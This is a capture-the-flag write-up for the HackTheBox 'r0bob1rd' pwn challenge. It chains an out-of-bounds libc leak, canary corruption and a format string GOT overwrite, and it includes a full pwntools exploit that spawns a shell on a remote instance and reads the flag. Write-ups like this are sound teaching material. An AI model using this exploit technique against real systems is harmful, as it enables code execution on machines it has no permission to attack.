$ cat writeup.md…
$ cat writeup.md…
hackthebox
A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format st
A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format string bug for arbitrary GOT writes.
Remote: nc 154.57.164.77:32657
r0bob1rd — ELF 64-bit LSB executable, x86-64, dynamically linked, not strippedglibc/libc.so.6 — GLIBC 2.31-0ubuntu9.9 (Ubuntu 20.04)glibc/ld.so.2 — Dynamic linker| Property | Value |
|---|---|
| Arch | x86-64 |
| RELRO | Partial (GOT writable) |
| Stack Canary | Enabled |
| NX | Enabled |
| PIE | Disabled (base 0x400000) |
| Stripped | No |
| Libc | GLIBC 2.31-0ubuntu9.9 |
| Symbol | Address |
|---|---|
robobirdNames (array) | 0x6020a0 |
puts@GOT | 0x602020 |
__stack_chk_fail@GOT | 0x602028 |
printf@GOT | 0x602030 |
main | 0x400c0f |
operation | 0x400aca |
pop rdi; ret | 0x400cc3 |
ret | 0x40074e |
"Select a R0bob1rd >" — reads an integer via scanf("%d")robobirdNames[id] pointer and prints the bird name with printf("%s", *ptr)&robobirdNames[id] directly to printf("%s", addr) — reads raw bytes at that computed address as a stringgetchar() to consume the newline"Enter bird's little description" and reads input with fgets(buf, 0x6a, stdin) — 106 bytes max into a buffer at rbp-0x70"Crafting..", sleeps 2 seconds, prints a bird animation, prints "[Description]"printf(buf) — FORMAT STRING VULNERABILITY with user-controlled input__stack_chk_failleave; retrobobirdNames is an array of 10 char* pointers at 0x6020a0. When bird_id is outside 0–9, the code computes &robobirdNames[bird_id] and passes this address (not the dereferenced pointer) to printf("%s", ...).
With bird_id = -16:
address = 0x6020a0 + (-16) * 8 = 0x602020 = puts@GOT
printf reads the bytes at puts@GOT as a string, leaking the libc address of puts. From the leak:
libc_base = leaked_puts - 0x84420
Buffer: rbp-0x70 (112 bytes from rbp)
Canary: rbp-0x08 (8 bytes)
Gap: 0x70 - 0x08 = 0x68 = 104 bytes
fgets: reads up to 0x6a = 106 bytes (105 chars + null)
Sending 104 bytes + newline: fgets stores 104 bytes + '\n' at buf[104] + '\0' at buf[105]. buf[104] is the first byte of the canary — overwritten with 0x0a (newline), corrupting it. This guarantees __stack_chk_fail will be called.
printf(buf) at 0x400bf3 uses user input directly as the format string. The buffer starts at printf argument offset 8 (verified by sending %p patterns). Full %n/%hn/%hhn write capability to any address. Since Partial RELRO leaves the GOT writable, we can overwrite GOT entries.
The exploit chains all three vulnerabilities in two passes through the operation() function:
Pass 1: Leak libc + overwrite printf@GOT → system() and __stack_chk_fail@GOT → operation()
Pass 2: Send "sh" as description → printf("sh") becomes system("sh") → SHELL
bird_id = -16 to leak puts@GOT → compute libc_base → compute system() address%hn writes:
printf@GOT (0x602030) with system() address (3 × %hn for 6 bytes: low, mid, high)__stack_chk_fail@GOT (0x602028) with operation() address (1 × %hn, low 2 bytes only — both are in 0x400000 range)__stack_chk_fail__stack_chk_fail@GOT now points to operation() → program loops back (skipping printRobobirds which would call printf/system with garbage)printf() calls are actually system() callssystem("Select a R0bob1rd > "), system("\nYou've chosen: %s"), etc. — these fail with shell syntax errors but don't consume stdin"sh" as the bird descriptionprintf(buf), it actually calls system("sh") → SHELL![format specifiers (72 bytes)] [addresses (4 × 8 = 32 bytes)]
|<------------ 104 bytes total ------------>|
The 4 %hn writes are sorted by value (ascending) to minimize padding:
%{val1}c%{param1}$hn%{val2-val1}c%{param2}$hn%{val3-val2}c%{param3}$hn%{val4-val3}c%{param4}$hn
Each address is placed at the end of the 104-byte buffer, and the %hn parameter index points to the corresponding 8-byte slot at offset 8 + (72/8 + i).
printf@GOT → system is elegant because printf(user_input) becomes system(user_input)__stack_chk_fail → operation() instead of main() avoids printRobobirds() which would call printf (now system) 10 times with table formatting characters%Nc padding) must be drained to prevent the program from blocking on write()system() with /bin/sh -c doesn't read from stdin for syntax errors, so the intermediate system() calls with garbage strings just return without consuming our input#!/usr/bin/env python3 """ r0bob1rd - HackTheBox PWN Challenge Exploit ============================================ Pass 1: Leak libc via OOB + overwrite printf@GOT→system, __stack_chk_fail@GOT→operation Pass 2: system("sh") via hijacked printf """ from pwn import * import sys, time HOST = "154.57.164.77" PORT = 32657 LOCAL = "--local" in sys.argv context.arch = "amd64" context.log_level = "debug" if "--debug" in sys.argv else "info" elf = ELF("./r0bob1rd") libc = ELF("./glibc/libc.so.6") PRINTF_GOT = elf.got["printf"] STACK_CHK_FAIL_GOT = elf.got["__stack_chk_fail"] OPERATION_ADDR = elf.symbols["operation"] FMT_OFFSET = 8 def build_writes(writes, total_size=104): n = len(writes) addr_bytes = n * 8 fmt_space = total_size - addr_bytes indexed = sorted(enumerate(writes), key=lambda x: x[1][1]) param_for_sorted = [] for sort_pos, (orig_idx, (addr, val)) in enumerate(indexed): byte_offset = fmt_space + sort_pos * 8 param = FMT_OFFSET + byte_offset // 8 param_for_sorted.append((addr, val, param)) fmt = b"" printed = 0 for addr, val, param in param_for_sorted: needed = (val - printed) % 0x10000 if needed == 0: needed = 0x10000 fmt += f"%{needed}c%{param}$hn".encode() printed = (printed + needed) % 0x10000 if len(fmt) > fmt_space: log.error(f"Format too long: {len(fmt)} > {fmt_space}") return None log.info(f"Format: {len(fmt)}/{fmt_space} bytes") payload = fmt.ljust(fmt_space, b".") for addr, val, param in param_for_sorted: payload += p64(addr) assert len(payload) == total_size return payload def drain(p, timeout_sec=3): """Drain all available data with given timeout.""" total = 0 while True: try: chunk = p.recv(8192, timeout=timeout_sec) if not chunk: break total += len(chunk) except: break return total def exploit(): if LOCAL: p = process("./r0bob1rd") else: p = remote(HOST, PORT, timeout=30) # ================================================================ # PASS 1: Leak libc + GOT overwrite # ================================================================ log.info("=== PASS 1: Leak + GOT overwrite ===") p.recvuntil(b"R0bob1rd > ") p.sendline(b"-16") p.recvuntil(b"You've chosen: ") data = p.recvuntil(b"Enter bird") leak_bytes = data[: -len(b"\n\nEnter bird")] leaked_puts = u64(leak_bytes.ljust(8, b"\x00")) libc.address = leaked_puts - libc.symbols["puts"] log.success(f"libc @ {hex(libc.address)}") if libc.address & 0xFFF: log.error("Misaligned!") p.close() return system = libc.symbols["system"] log.info(f"system @ {hex(system)}") writes = [ (PRINTF_GOT, system & 0xFFFF), (PRINTF_GOT + 2, (system >> 16) & 0xFFFF), (PRINTF_GOT + 4, (system >> 32) & 0xFFFF), (STACK_CHK_FAIL_GOT, OPERATION_ADDR & 0xFFFF), ] payload = build_writes(writes, total_size=104) if payload is None: p.close() return p.recvuntil(b">> ") p.sendline(payload) log.info("Payload sent. Draining ~60KB of output...") n = drain(p, timeout_sec=3) log.info(f"Drained {n} bytes") # ================================================================ # PASS 2: Send inputs for shell # ================================================================ log.info("=== PASS 2: Trigger system('sh') ===") p.sendline(b"0") log.info("Sent bird_id '0'") try: p.recvuntil(b"description", timeout=5) log.info("Got description prompt") except: log.warning("Didn't see description prompt") time.sleep(0.3) p.sendline(b"sh") log.info("Sent 'sh'") # Drain usleep(2s) + start_screen output n2 = drain(p, timeout_sec=4) log.info(f"Drained {n2} bytes") # Shell should be active now! log.info("Shell active! Getting flag...") p.sendline(b"cat flag*") time.sleep(1) p.sendline(b"cat /flag*") time.sleep(1) try: output = p.recv(timeout=5) result = output.decode(errors="replace") log.success(f"Output:\n{result}") import re flags = re.findall(r"HTB\{[^}]+\}", result) if flags: log.success(f"FLAG: {flags[0]}") except: log.warning("Error receiving output") p.interactive() if __name__ == "__main__": exploit()
Use this combination of techniques when you see:
printf(user_input) — classic format string vulnerability, enables arbitrary read/write via %n/%hnprintf@GOT → system overwritefgets size slightly larger than buffer-to-canary distance — off-by-one/two corrupts canary, forces __stack_chk_fail__stack_chk_fail in GOT — can be redirected to loop the program instead of crashing, turning canary corruption into an advantageputs, system, etc.Canary corruption as a feature, not a bug — Instead of trying to preserve the canary, deliberately corrupt it and hijack __stack_chk_fail@GOT to redirect execution flow. The canary becomes a controlled jump.
printf@GOT → system is the classic GOT overwrite — When you control the first argument to printf (format string), overwriting it with system gives you system(user_input) for free.
operation() vs main() for loop target — Redirecting __stack_chk_fail to operation() instead of main() avoids re-executing printRobobirds(), which would call the now-hijacked printf (= system) with garbage strings 10 times.
Drain format string output — Large %Nc padding in format string writes generates ~60KB of output. If not drained, the program blocks on write() and never reaches the next input prompt.
system() with invalid commands is harmless — When printf@GOT is overwritten with system, intermediate calls like system("Select a R0bob1rd > ") fail with shell syntax errors but don't consume stdin, so subsequent input still reaches the right place.
OOB array indexing for GOT leaks — When an array of pointers is near the GOT and the binary passes &array[id] (not *array[id]) to printf("%s") for OOB indices, you can read GOT entries as raw bytes. The offset calculation: id = (GOT_addr - array_addr) / sizeof(pointer).
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar